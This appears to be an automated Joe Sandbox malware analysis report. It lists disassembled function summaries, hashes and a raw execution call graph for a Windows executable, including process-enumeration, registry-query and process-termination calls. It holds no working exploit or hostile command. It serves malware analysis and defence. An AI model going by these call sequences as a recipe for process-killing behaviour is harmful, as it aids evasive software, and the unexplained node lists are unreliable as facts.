                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CloseCreateHandleProcess
                                            • String ID: Error launching installer
                                            • API String ID: 3712363035-66219284
                                            • Opcode ID: 8a3581b750d29c0f06103fe1997c215cccf07df72e665a86a296c08cae4d825b
                                            • Instruction ID: 53ccf60803aa8836d7366e45e4d019fb0888d0b7e4ffe46943b31cf4c1d238f5
                                            • Opcode Fuzzy Hash: 8a3581b750d29c0f06103fe1997c215cccf07df72e665a86a296c08cae4d825b
                                            • Instruction Fuzzy Hash: A6E0EC70500209BBEB009B64EE49D7B7BBCEB44345F404436AD51E2151D774D81C9A69
                                            Function 0040380B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON
                                            Download Yara Rule
                                            APIs
                                            • FreeLibrary.KERNEL32(?,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",00000000,00000002,00403408,00403659,?), ref: 00403825
                                            • GlobalFree.KERNEL32(?), ref: 0040382C
                                            Strings
                                            • "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe", xrefs: 0040381D
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Free$GlobalLibrary
                                            • String ID: "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"
                                            • API String ID: 1100898210-2569130941
                                            • Opcode ID: 4a5d30e53fa382e4b96b03fdcaf489e0a6c6a57c18e3521b9229a08418a18d03
                                            • Instruction ID: 797a915ab75ef0c1bf1afe469447d8e6374deb4cd26acbfe71ab078a021f9c63
                                            • Opcode Fuzzy Hash: 4a5d30e53fa382e4b96b03fdcaf489e0a6c6a57c18e3521b9229a08418a18d03
                                            • Instruction Fuzzy Hash: 1BE012338011209BC6216F15EA0875E7B68AF89BB2F15407AF9C17B3608B745C8286D8
                                            Function 00406015 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00403187,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe,C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe,80000000,00000003,?,?,?,00000000,004035D7,?), ref: 0040601B
                                            • CharPrevW.USER32(80000000,00000000,?,?,?,00000000,004035D7,?), ref: 0040602C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CharPrevlstrlen
                                            • String ID: C:\Users\user\Desktop
                                            • API String ID: 2709904686-224404859
                                            • Opcode ID: 2a10590b686a86e8fda5e7903cf5f10d7b8a4988a125ed22108b2cb02686b793
                                            • Instruction ID: 58838e2c89e91e20de5a8a6cd657b3c1cdd427daeb01acc5e3fb2bbd33223236
                                            • Opcode Fuzzy Hash: 2a10590b686a86e8fda5e7903cf5f10d7b8a4988a125ed22108b2cb02686b793
                                            • Instruction Fuzzy Hash: 5ED017710119219AC726AB18DA058AF77A8EF05340346446AE142E7164CB385C928BAD
                                            Function 00405864 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlenA.KERNEL32(00406495,?,00000000,00000000,?,00000000,00406495,00000000,[Rename]), ref: 00405874
                                            • lstrcmpiA.KERNEL32(00000000,00406495), ref: 0040588C
                                            • CharNextA.USER32(00000000,?,00000000,00406495,00000000,[Rename]), ref: 0040589D
                                            • lstrlenA.KERNEL32(00000000,?,00000000,00406495,00000000,[Rename]), ref: 004058A6
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: lstrlen$CharNextlstrcmpi
                                            • String ID:
                                            • API String ID: 190613189-0
                                            • Opcode ID: cd19360c238f1349a786dd8267181da6a2629ba8d2dc02acca249f0761a9dd09
                                            • Instruction ID: 678e37072a379e1faffe29b6aa71237c6b28e2b3d53614aa4618b887c013b5be
                                            • Opcode Fuzzy Hash: cd19360c238f1349a786dd8267181da6a2629ba8d2dc02acca249f0761a9dd09
                                            • Instruction Fuzzy Hash: 2CF0C236501448EFE701AFA5CD00C9F7BA8EF46350B2580BAEC40F7311D634DE019BA8

                                            Execution Graph

                                            Execution Coverage:4.3%
                                            Dynamic/Decrypted Code Coverage:0%
                                            Signature Coverage:2.4%
                                            Total number of Nodes:2000
                                            Total number of Limit Nodes:118
                                            execution_graph 87734 311055 87739 312a19 87734->87739 87749 321207 87739->87749 87744 312b24 87745 31105a 87744->87745 87757 3113f8 59 API calls 2 library calls 87744->87757 87746 332f70 87745->87746 87809 332e74 87746->87809 87748 311064 87758 330fe6 87749->87758 87751 321228 87752 330fe6 Mailbox 59 API calls 87751->87752 87753 312a87 87752->87753 87754 311256 87753->87754 87802 311284 87754->87802 87757->87744 87762 330fee 87758->87762 87760 331008 87760->87751 87762->87760 87763 33100c std::exception::exception 87762->87763 87768 33593c 87762->87768 87785 3335d1 DecodePointer 87762->87785 87786 3387cb RaiseException 87763->87786 87765 331036 87787 338701 58 API calls _free 87765->87787 87767 331048 87767->87751 87769 3359b7 87768->87769 87782 335948 87768->87782 87796 3335d1 DecodePointer 87769->87796 87771 335953 87771->87782 87788 33a39b 58 API calls 2 library calls 87771->87788 87789 33a3f8 58 API calls 6 library calls 87771->87789 87790 3332cf 87771->87790 87772 3359bd 87797 338d58 58 API calls __getptd_noexit 87772->87797 87775 33597b RtlAllocateHeap 87776 3359af 87775->87776 87775->87782 87776->87762 87778 3359a3 87794 338d58 58 API calls __getptd_noexit 87778->87794 87782->87771 87782->87775 87782->87778 87783 3359a1 87782->87783 87793 3335d1 DecodePointer 87782->87793 87795 338d58 58 API calls __getptd_noexit 87783->87795 87785->87762 87786->87765 87787->87767 87788->87771 87789->87771 87798 33329b GetModuleHandleExW 87790->87798 87793->87782 87794->87783 87795->87776 87796->87772 87797->87776 87799 3332b4 GetProcAddress 87798->87799 87800 3332cb ExitProcess 87798->87800 87799->87800 87801 3332c6 87799->87801 87801->87800 87803 311291 87802->87803 87804 311275 87802->87804 87803->87804 87805 311298 RegOpenKeyExW 87803->87805 87804->87744 87805->87804 87806 3112b2 RegQueryValueExW 87805->87806 87807 3112e8 RegCloseKey 87806->87807 87808 3112d3 87806->87808 87807->87804 87808->87807 87810 332e80 __freefls@4 87809->87810 87817 333447 87810->87817 87816 332ea7 __freefls@4 87816->87748 87834 339e3b 87817->87834 87819 332e89 87820 332eb8 DecodePointer DecodePointer 87819->87820 87821 332e95 87820->87821 87822 332ee5 87820->87822 87831 332eb2 87821->87831 87822->87821 87879 3389d4 59 API calls __fclose_nolock 87822->87879 87824 332f48 EncodePointer EncodePointer 87824->87821 87825 332f1c 87825->87821 87829 332f36 EncodePointer 87825->87829 87881 338a94 61 API calls 2 library calls 87825->87881 87826 332ef7 87826->87824 87826->87825 87880 338a94 61 API calls 2 library calls 87826->87880 87829->87824 87830 332f30 87830->87821 87830->87829 87882 333450 87831->87882 87835 339e5f EnterCriticalSection 87834->87835 87836 339e4c 87834->87836 87835->87819 87841 339ec3 87836->87841 87838 339e52 87838->87835 87865 3332e5 58 API calls 3 library calls 87838->87865 87842 339ecf __freefls@4 87841->87842 87843 339ef0 87842->87843 87844 339ed8 87842->87844 87853 339f11 __freefls@4 87843->87853 87868 338a4d 58 API calls 2 library calls 87843->87868 87866 33a39b 58 API calls 2 library calls 87844->87866 87847 339edd 87867 33a3f8 58 API calls 6 library calls 87847->87867 87848 339f05 87851 339f1b 87848->87851 87852 339f0c 87848->87852 87850 339ee4 87854 3332cf _fast_error_exit 3 API calls 87850->87854 87856 339e3b __lock 58 API calls 87851->87856 87869 338d58 58 API calls __getptd_noexit 87852->87869 87853->87838 87857 339eee 87854->87857 87858 339f22 87856->87858 87857->87843 87859 339f47 87858->87859 87860 339f2f 87858->87860 87871 332f85 87859->87871 87870 33a05b InitializeCriticalSectionAndSpinCount 87860->87870 87863 339f3b 87877 339f63 LeaveCriticalSection _doexit 87863->87877 87866->87847 87867->87850 87868->87848 87869->87853 87870->87863 87872 332fb7 __dosmaperr 87871->87872 87873 332f8e RtlFreeHeap 87871->87873 87872->87863 87873->87872 87874 332fa3 87873->87874 87878 338d58 58 API calls __getptd_noexit 87874->87878 87876 332fa9 GetLastError 87876->87872 87877->87853 87878->87876 87879->87826 87880->87825 87881->87830 87885 339fa5 LeaveCriticalSection 87882->87885 87884 332eb7 87884->87816 87885->87884 87886 315ff5 87909 315ede Mailbox _memmove 87886->87909 87887 330fe6 59 API calls Mailbox 87887->87909 87888 316a9b 88052 31a9de 266 API calls 87888->88052 87891 34eff9 87892 315190 Mailbox 59 API calls 87891->87892 87897 34efeb 87892->87897 87893 34f007 88072 37a48d 89 API calls 4 library calls 87893->88072 87942 315569 Mailbox 87897->87942 88071 366cf1 59 API calls Mailbox 87897->88071 87898 3160e5 87899 34e137 87898->87899 87905 3163bd Mailbox 87898->87905 87912 316abc 87898->87912 87926 316152 Mailbox 87898->87926 87899->87905 88053 367aad 59 API calls 87899->88053 87903 330fe6 Mailbox 59 API calls 87908 3163d1 87903->87908 87905->87903 87917 316426 87905->87917 87910 3163de 87908->87910 87908->87912 87909->87887 87909->87888 87909->87891 87909->87893 87909->87898 87909->87912 87909->87942 87950 3153b0 87909->87950 88004 38c355 87909->88004 88051 31523c 59 API calls 87909->88051 88056 321c9c 87909->88056 88060 377f11 59 API calls Mailbox 87909->88060 88061 321a36 87909->88061 88065 366cf1 59 API calls Mailbox 87909->88065 87913 316413 87910->87913 87914 34e172 87910->87914 88070 37a48d 89 API calls 4 library calls 87912->88070 87913->87917 87941 315447 Mailbox 87913->87941 88054 38c87c 85 API calls 2 library calls 87914->88054 88055 38c9c9 95 API calls Mailbox 87917->88055 87919 34e19d 87919->87919 87921 330fe6 59 API calls Mailbox 87921->87941 87924 3169fa 87932 321c9c 59 API calls 87924->87932 87925 321c9c 59 API calls 87925->87941 87926->87897 87926->87912 87930 34e2e9 VariantClear 87926->87930 87926->87942 87977 38e60c 87926->87977 87980 38f1b2 87926->87980 87985 31cfd7 87926->87985 88046 315190 87926->88046 88066 367aad 59 API calls 87926->88066 87927 34e691 88067 37a48d 89 API calls 4 library calls 87927->88067 87928 34ea9a 87936 321c9c 59 API calls 87928->87936 87929 3169ff 88074 37a48d 89 API calls 4 library calls 87929->88074 87930->87926 87932->87942 87935 321207 59 API calls 87935->87941 87936->87942 87937 367aad 59 API calls 87937->87941 87938 34e6a0 87939 34eb67 87939->87942 88068 367aad 59 API calls 87939->88068 87941->87921 87941->87924 87941->87925 87941->87927 87941->87928 87941->87929 87941->87935 87941->87937 87941->87939 87941->87942 87943 332f70 67 API calls __cinit 87941->87943 87944 34ef28 87941->87944 87946 315a1a 87941->87946 88044 317e50 266 API calls 2 library calls 87941->88044 88045 316e30 60 API calls Mailbox 87941->88045 87943->87941 88069 37a48d 89 API calls 4 library calls 87944->88069 88073 37a48d 89 API calls 4 library calls 87946->88073 87951 3153cf 87950->87951 87971 3153fd Mailbox 87950->87971 87952 330fe6 Mailbox 59 API calls 87951->87952 87952->87971 87953 332f70 67 API calls __cinit 87953->87971 87954 3169fa 87955 321c9c 59 API calls 87954->87955 87973 315569 Mailbox 87955->87973 87956 3169ff 88081 37a48d 89 API calls 4 library calls 87956->88081 87957 367aad 59 API calls 87957->87971 87960 321c9c 59 API calls 87960->87971 87961 330fe6 59 API calls Mailbox 87961->87971 87962 34e691 88077 37a48d 89 API calls 4 library calls 87962->88077 87963 34ea9a 87967 321c9c 59 API calls 87963->87967 87965 321207 59 API calls 87965->87971 87967->87973 87969 34e6a0 87969->87909 87970 34eb67 87970->87973 88078 367aad 59 API calls 87970->88078 87971->87953 87971->87954 87971->87956 87971->87957 87971->87960 87971->87961 87971->87962 87971->87963 87971->87965 87971->87970 87971->87973 87974 34ef28 87971->87974 87976 315a1a 87971->87976 88075 317e50 266 API calls 2 library calls 87971->88075 88076 316e30 60 API calls Mailbox 87971->88076 87973->87909 88079 37a48d 89 API calls 4 library calls 87974->88079 88080 37a48d 89 API calls 4 library calls 87976->88080 88082 38d1c6 87977->88082 87979 38e61c 87979->87926 87981 314d37 84 API calls 87980->87981 87982 38f1cf 87981->87982 88222 374148 CreateToolhelp32Snapshot Process32FirstW 87982->88222 87984 38f1de 87984->87926 87986 314d37 84 API calls 87985->87986 87987 31d001 87986->87987 88243 315278 87987->88243 87989 31d57b 87989->87926 87990 31d018 87990->87989 87995 31d439 Mailbox __NMSG_WRITE 87990->87995 88273 31502b 59 API calls 87990->88273 87994 314f98 59 API calls 87994->87995 87995->87989 87995->87994 87998 330c65 62 API calls 87995->87998 87999 314d37 84 API calls 87995->87999 88003 31502b 59 API calls 87995->88003 88248 33312d 87995->88248 88258 3259d3 87995->88258 88269 325ac3 87995->88269 88274 32162d 87995->88274 88279 32153b 59 API calls 2 library calls 87995->88279 88280 314f3c 59 API calls Mailbox 87995->88280 88281 321821 87995->88281 87998->87995 87999->87995 88003->87995 88005 38c39a 88004->88005 88006 38c380 88004->88006 88348 38a8fd 88005->88348 88375 37a48d 89 API calls 4 library calls 88006->88375 88010 3153b0 265 API calls 88011 38c406 88010->88011 88012 38c498 88011->88012 88015 38c447 88011->88015 88021 38c392 Mailbox 88011->88021 88013 38c4ee 88012->88013 88014 38c49e 88012->88014 88016 314d37 84 API calls 88013->88016 88013->88021 88376 377ed5 59 API calls 88014->88376 88019 37789a 59 API calls 88015->88019 88017 38c500 88016->88017 88020 321aa4 59 API calls 88017->88020 88023 38c477 88019->88023 88024 38c524 CharUpperBuffW 88020->88024 88021->87909 88022 38c4c1 88377 3235b9 59 API calls Mailbox 88022->88377 88026 366ebc 265 API calls 88023->88026 88028 38c53e 88024->88028 88026->88021 88027 38c4c9 Mailbox 88378 31b020 88027->88378 88029 38c591 88028->88029 88030 38c545 88028->88030 88032 314d37 84 API calls 88029->88032 88355 37789a 88030->88355 88033 38c599 88032->88033 88420 315376 60 API calls 88033->88420 88038 38c5a3 88038->88021 88039 314d37 84 API calls 88038->88039 88040 38c5be 88039->88040 88421 3235b9 59 API calls Mailbox 88040->88421 88042 38c5ce 88043 31b020 265 API calls 88042->88043 88043->88021 88044->87941 88045->87941 88048 31519b 88046->88048 88047 3151d2 88047->87926 88048->88047 88737 3141c4 59 API calls Mailbox 88048->88737 88050 3151fd 88050->87926 88051->87909 88052->87912 88053->87905 88054->87917 88055->87919 88057 321ca7 88056->88057 88058 321caf 88056->88058 88738 321bcc 59 API calls 2 library calls 88057->88738 88058->87909 88060->87909 88062 321a45 __NMSG_WRITE _memmove 88061->88062 88063 330fe6 Mailbox 59 API calls 88062->88063 88064 321a83 88063->88064 88064->87909 88065->87909 88066->87926 88067->87938 88068->87942 88069->87946 88070->87897 88071->87942 88072->87897 88073->87942 88074->87942 88075->87971 88076->87971 88077->87969 88078->87973 88079->87976 88080->87973 88081->87973 88120 314d37 88082->88120 88086 38d4a2 88087 38d617 88086->88087 88091 38d4b0 88086->88091 88189 38dfb1 92 API calls Mailbox 88087->88189 88090 38d626 88090->88091 88092 38d632 88090->88092 88151 38d057 88091->88151 88108 38d24a Mailbox 88092->88108 88093 314d37 84 API calls 88110 38d29b Mailbox 88093->88110 88098 38d4e9 88166 330e38 88098->88166 88101 38d51c 88174 3147be 88101->88174 88102 38d503 88173 37a48d 89 API calls 4 library calls 88102->88173 88105 38d50e GetCurrentProcess TerminateProcess 88105->88101 88108->87979 88110->88086 88110->88093 88110->88108 88171 37fc0d 59 API calls 2 library calls 88110->88171 88172 38d6c8 61 API calls 2 library calls 88110->88172 88112 38d68d 88112->88108 88116 38d6a1 FreeLibrary 88112->88116 88113 38d554 88186 38dd32 107 API calls _free 88113->88186 88116->88108 88117 38d565 88117->88112 88187 314230 59 API calls Mailbox 88117->88187 88188 31523c 59 API calls 88117->88188 88190 38dd32 107 API calls _free 88117->88190 88121 314d51 88120->88121 88122 314d4b 88120->88122 88123 34db28 __i64tow 88121->88123 88124 314d99 88121->88124 88126 314d57 __itow 88121->88126 88129 34da2f 88121->88129 88122->88108 88138 38de8e 88122->88138 88191 3338c8 83 API calls 3 library calls 88124->88191 88128 330fe6 Mailbox 59 API calls 88126->88128 88130 314d71 88128->88130 88131 330fe6 Mailbox 59 API calls 88129->88131 88133 34daa7 Mailbox _wcscpy 88129->88133 88130->88122 88132 321a36 59 API calls 88130->88132 88135 34da74 88131->88135 88132->88122 88192 3338c8 83 API calls 3 library calls 88133->88192 88134 330fe6 Mailbox 59 API calls 88136 34da9a 88134->88136 88135->88134 88136->88133 88137 321a36 59 API calls 88136->88137 88137->88133 88193 321aa4 88138->88193 88140 38dea9 CharLowerBuffW 88197 36f903 88140->88197 88144 321207 59 API calls 88145 38dee2 88144->88145 88204 321462 59 API calls 2 library calls 88145->88204 88147 38def9 88205 321981 88147->88205 88149 38df05 Mailbox 88150 38df41 Mailbox 88149->88150 88209 38d6c8 61 API calls 2 library calls 88149->88209 88150->88110 88152 38d072 88151->88152 88156 38d0c7 88151->88156 88153 330fe6 Mailbox 59 API calls 88152->88153 88155 38d094 88153->88155 88154 330fe6 Mailbox 59 API calls 88154->88155 88155->88154 88155->88156 88157 38e139 88156->88157 88158 38e362 Mailbox 88157->88158 88165 38e15c _strcat _wcscpy __NMSG_WRITE 88157->88165 88158->88098 88159 3150d5 59 API calls 88159->88165 88160 31502b 59 API calls 88160->88165 88161 315087 59 API calls 88161->88165 88162 314d37 84 API calls 88162->88165 88163 33593c 58 API calls std::exception::_Copy_str 88163->88165 88165->88158 88165->88159 88165->88160 88165->88161 88165->88162 88165->88163 88212 375e42 61 API calls 2 library calls 88165->88212 88168 330e4d 88166->88168 88167 330ee5 CreateToolhelp32Snapshot 88169 330eb3 88167->88169 88168->88167 88168->88169 88170 330ed3 FindCloseChangeNotification 88168->88170 88169->88101 88169->88102 88170->88169 88171->88110 88172->88110 88173->88105 88175 3147c6 88174->88175 88176 330fe6 Mailbox 59 API calls 88175->88176 88177 3147d4 88176->88177 88178 3147e0 88177->88178 88213 3146ec 59 API calls Mailbox 88177->88213 88180 314540 88178->88180 88214 314650 88180->88214 88182 31454f 88183 330fe6 Mailbox 59 API calls 88182->88183 88184 3145eb 88182->88184 88183->88184 88184->88117 88185 314230 59 API calls Mailbox 88184->88185 88185->88113 88186->88117 88187->88117 88188->88117 88189->88090 88190->88117 88191->88126 88192->88123 88194 321ab7 88193->88194 88196 321ab4 _memmove 88193->88196 88195 330fe6 Mailbox 59 API calls 88194->88195 88195->88196 88196->88140 88198 36f92e __NMSG_WRITE 88197->88198 88199 36f96d 88198->88199 88202 36f963 88198->88202 88203 36fa14 88198->88203 88199->88144 88199->88149 88202->88199 88210 3214db 61 API calls 88202->88210 88203->88199 88211 3214db 61 API calls 88203->88211 88204->88147 88206 32198f 88205->88206 88208 321998 _memmove 88205->88208 88207 321aa4 59 API calls 88206->88207 88206->88208 88207->88208 88208->88149 88209->88150 88210->88202 88211->88203 88212->88165 88213->88178 88215 314659 Mailbox 88214->88215 88216 34d6ec 88215->88216 88221 314663 88215->88221 88217 330fe6 Mailbox 59 API calls 88216->88217 88219 34d6f8 88217->88219 88218 31466a 88218->88182 88219->88219 88220 315190 Mailbox 59 API calls 88220->88221 88221->88218 88221->88220 88232 374ce2 88222->88232 88224 374195 Process32NextW 88225 374244 FindCloseChangeNotification 88224->88225 88231 37418e Mailbox 88224->88231 88225->87984 88226 321207 59 API calls 88226->88231 88227 321a36 59 API calls 88227->88231 88231->88224 88231->88225 88231->88226 88231->88227 88238 330119 59 API calls Mailbox 88231->88238 88239 3217e0 59 API calls Mailbox 88231->88239 88240 32151f 61 API calls 88231->88240 88233 374d09 88232->88233 88235 374cf0 88232->88235 88242 3337c3 59 API calls __wcstoi64 88233->88242 88235->88233 88236 374d0f 88235->88236 88241 33385c GetStringTypeW _iswctype 88235->88241 88236->88231 88238->88231 88239->88231 88240->88231 88241->88235 88242->88236 88244 330fe6 Mailbox 59 API calls 88243->88244 88245 315285 88244->88245 88246 315294 88245->88246 88247 321a36 59 API calls 88245->88247 88246->87990 88247->88246 88249 333139 88248->88249 88250 3331ae 88248->88250 88254 33315e 88249->88254 88290 338d58 58 API calls __getptd_noexit 88249->88290 88292 3331c0 60 API calls 3 library calls 88250->88292 88253 3331bb 88253->87995 88254->87995 88255 333145 88291 338fe6 9 API calls __fclose_nolock 88255->88291 88257 333150 88257->87995 88259 3259fe _memset 88258->88259 88293 325800 88259->88293 88262 325a83 88264 325ab9 Shell_NotifyIconW 88262->88264 88265 325a9d Shell_NotifyIconW 88262->88265 88266 325aab 88264->88266 88265->88266 88297 3256f8 88266->88297 88268 325ab2 88268->87995 88270 325b25 88269->88270 88271 325ad5 _memset 88269->88271 88270->87995 88272 325af4 Shell_NotifyIconW 88271->88272 88272->88270 88273->87995 88275 330fe6 Mailbox 59 API calls 88274->88275 88276 321652 88275->88276 88277 330fe6 Mailbox 59 API calls 88276->88277 88278 321660 88277->88278 88278->87995 88279->87995 88280->87995 88282 32189a 88281->88282 88284 32182d __NMSG_WRITE 88281->88284 88283 321981 59 API calls 88282->88283 88289 32184b _memmove 88283->88289 88285 321843 88284->88285 88286 321868 88284->88286 88346 321b7c 59 API calls Mailbox 88285->88346 88347 321c7e 59 API calls Mailbox 88286->88347 88289->87995 88290->88255 88291->88257 88292->88253 88294 325810 88293->88294 88295 32581c 88293->88295 88294->88262 88327 3734dd 62 API calls _W_store_winword 88294->88327 88295->88294 88296 325821 DestroyIcon 88295->88296 88296->88294 88298 325715 88297->88298 88299 3257fa Mailbox 88297->88299 88300 32162d 59 API calls 88298->88300 88299->88268 88301 325723 88300->88301 88302 325730 88301->88302 88303 360c4c LoadStringW 88301->88303 88304 321821 59 API calls 88302->88304 88306 360c66 88303->88306 88305 325745 88304->88305 88307 325752 88305->88307 88313 360c74 88305->88313 88308 321c9c 59 API calls 88306->88308 88307->88306 88309 325760 88307->88309 88315 325778 _memset _wcscpy 88308->88315 88328 321900 88309->88328 88314 360cb7 Mailbox 88313->88314 88313->88315 88316 321207 59 API calls 88313->88316 88338 3338c8 83 API calls 3 library calls 88314->88338 88317 3257e0 Shell_NotifyIconW 88315->88317 88318 360c9e 88316->88318 88317->88299 88336 370252 60 API calls Mailbox 88318->88336 88321 360ca9 88337 3217e0 59 API calls Mailbox 88321->88337 88322 360cd6 88324 321900 59 API calls 88322->88324 88325 360ce7 88324->88325 88326 321900 59 API calls 88325->88326 88326->88315 88327->88262 88329 35f534 88328->88329 88330 321914 88328->88330 88344 321c7e 59 API calls Mailbox 88329->88344 88339 3218a5 88330->88339 88333 32191f 88335 3217e0 59 API calls Mailbox 88333->88335 88334 35f53f __NMSG_WRITE _memmove 88335->88315 88336->88321 88337->88314 88338->88322 88340 3218b4 __NMSG_WRITE 88339->88340 88341 3218c5 _memmove 88340->88341 88345 321c7e 59 API calls Mailbox 88340->88345 88341->88333 88343 35f4f1 _memmove 88344->88334 88345->88343 88346->88289 88347->88289 88349 38a918 88348->88349 88350 38a970 88348->88350 88351 330fe6 Mailbox 59 API calls 88349->88351 88350->88010 88354 38a93a 88351->88354 88352 330fe6 Mailbox 59 API calls 88352->88354 88354->88350 88354->88352 88422 36715b 59 API calls Mailbox 88354->88422 88356 3778ac 88355->88356 88357 3778e3 88355->88357 88356->88357 88358 330fe6 Mailbox 59 API calls 88356->88358 88359 366ebc 88357->88359 88358->88357 88360 366f06 88359->88360 88364 366f1c Mailbox 88359->88364 88361 321a36 59 API calls 88360->88361 88361->88364 88362 366f47 88365 38c355 266 API calls 88362->88365 88363 366f5a 88423 31a820 88363->88423 88364->88362 88364->88363 88374 366f53 88365->88374 88367 366f91 88370 366fdc 88367->88370 88372 366fc1 88367->88372 88367->88374 88369 367002 88369->88021 88370->88374 88445 37a48d 89 API calls 4 library calls 88370->88445 88440 36706d 88372->88440 88446 366cf1 59 API calls Mailbox 88374->88446 88375->88021 88376->88022 88377->88027 88465 323740 88378->88465 88381 3530b6 88553 37a48d 89 API calls 4 library calls 88381->88553 88382 31b07f 88382->88381 88384 3530d4 88382->88384 88391 31b132 Mailbox _memmove 88382->88391 88415 31bb86 88382->88415 88554 37a48d 89 API calls 4 library calls 88384->88554 88386 35355e 88419 31b4dd 88386->88419 88584 37a48d 89 API calls 4 library calls 88386->88584 88387 353106 88396 35318a 88387->88396 88555 31a9de 266 API calls 88387->88555 88391->88386 88391->88387 88395 36730a 59 API calls 88391->88395 88397 313b31 59 API calls 88391->88397 88400 3153b0 266 API calls 88391->88400 88401 353418 88391->88401 88407 3531c3 